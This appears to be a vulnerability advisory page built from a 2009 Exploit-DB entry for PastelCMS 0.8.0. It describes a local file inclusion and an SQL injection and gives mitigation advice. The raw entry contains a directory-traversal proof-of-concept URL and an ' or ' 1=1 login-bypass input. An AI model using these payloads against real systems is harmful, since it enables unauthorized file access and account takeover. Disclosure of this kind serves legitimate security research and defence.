PastelCMS 0.8.0 (LFI/SQL) Multiple Remote Vulnerabilities

vendor:

PastelCMS

by:

SirGod

7,5

CVSS

HIGH

Local File Inclusion and SQL Injection

22, 89

CWE

Product Name: PastelCMS

Affected Version From: 0.8.0

Affected Version To: 0.8.0

Patch Exists: NO

Related CWE: N/A

CPE: a:pastelcms:pastelcms:0.8.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

PastelCMS 0.8.0 (LFI/SQL) Multiple Remote Vulnerabilities

PastelCMS 0.8.0 is vulnerable to Local File Inclusion and SQL Injection. The Local File Inclusion vulnerability can be exploited by sending a specially crafted HTTP request containing directory traversal characters. The SQL Injection vulnerability can be exploited to bypass authentication by sending a specially crafted HTTP request containing malicious SQL code.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries. Ensure that directory traversal characters are not allowed in user input.

Source

Exploit-DB raw data:

#########################################################################
[+] PastelCMS 0.8.0 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
#########################################################################

[+] Download : http://pastel.pri.ee/?id=58

[+] Local File Inclusion

   PoC :

      http://127.0.0.1/[path]/?set_lng=../../../../../../BOOTSECT.BAK%00

[+] SQL Injection ( Login Bypass)

 - Go to :

   http://127.0.0.1/[path]/admin.php

 - Login as the following :

   Username : [REAL ADMIN USERNAME HERE] ' or ' 1=1
   Password : anything


#########################################################################

# milw0rm.com [2009-04-21]